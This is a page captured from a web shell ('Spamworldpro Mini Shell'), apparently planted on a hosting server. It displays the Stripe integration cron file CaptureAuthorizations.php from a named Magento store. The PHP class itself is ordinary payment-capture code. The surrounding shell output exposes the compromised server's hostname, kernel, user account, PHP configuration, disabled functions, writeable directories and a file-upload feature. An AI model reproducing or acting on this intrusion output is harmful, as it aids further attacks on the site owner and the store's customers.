Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/cartforge.co/app/code/StripeIntegration/Payments/Cron/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/cartforge.co/app/code/StripeIntegration/Payments/Cron/CaptureAuthorizations.php
<?php

namespace StripeIntegration\Payments\Cron;

use StripeIntegration\Payments\Exception\SkipCaptureException;

class CaptureAuthorizations
{
    private $emailHelper;
    private $helper;
    private $multishippingHelper;
    private $multishippingQuoteCollection;

    public function __construct(
        \StripeIntegration\Payments\Helper\Generic $helper,
        \StripeIntegration\Payments\Helper\Email $emailHelper,
        \StripeIntegration\Payments\Helper\Multishipping $multishippingHelper,
        \StripeIntegration\Payments\Model\ResourceModel\Multishipping\Quote\Collection $multishippingQuoteCollection
    ) {
        $this->emailHelper = $emailHelper;
        $this->helper = $helper;
        $this->multishippingHelper = $multishippingHelper;
        $this->multishippingQuoteCollection = $multishippingQuoteCollection;
    }

    public function execute()
    {
        $quoteModels = $this->multishippingQuoteCollection->getUncaptured(0, 1);
        $transactionIds = [];

        foreach ($quoteModels as $quoteModel)
        {
            $paymentIntentId = $quoteModel->getPaymentIntentId();
            $transactionIds[$paymentIntentId] = $quoteModel;
        }

        foreach ($transactionIds as $paymentIntentId => $quoteModel)
        {
            $orders = $this->helper->getOrdersByTransactionId($paymentIntentId);
            if (empty($orders))
                continue;

            try
            {
                $this->multishippingHelper->captureOrdersFromCronJob($orders, $paymentIntentId);
                $quoteModel->setCaptured(true);
                $quoteModel->save();
            }
            catch (SkipCaptureException $e)
            {
                if ($e->getCode() == SkipCaptureException::ORDERS_NOT_PROCESSED)
                {
                    if (!$quoteModel->getWarningEmailSent())
                    {
                        $this->sendReminderEmail($paymentIntentId, $orders);
                        $quoteModel->setWarningEmailSent(true);
                        $quoteModel->save();
                    }
                }
                else if ($e->getCode() == SkipCaptureException::ZERO_AMOUNT)
                {
                    // The orders were likely canceled
                }
                else
                {
                    $this->helper->logError($e->getMessage());
                }
            }
            catch (\Exception $e)
            {
                $this->helper->logError($e->getMessage(), $e->getTraceAsString());
            }
        }
    }

    protected function sendReminderEmail($paymentIntentId, $orderCollection)
    {
        $generalName = $this->emailHelper->getName('general');
        $generalEmail = $this->emailHelper->getEmail('general');

        $incrementIds = [];
        foreach ($orderCollection as $order)
            $incrementIds[] = "#" . $order->getIncrementId();

        $templateVars = [ 'orderNumbers'  => implode(", ", $incrementIds) ];

        $this->emailHelper->send('stripe_expiring_authorization', $generalName, $generalEmail, $generalName, $generalEmail, $templateVars);
    }
}

Spamworldpro Mini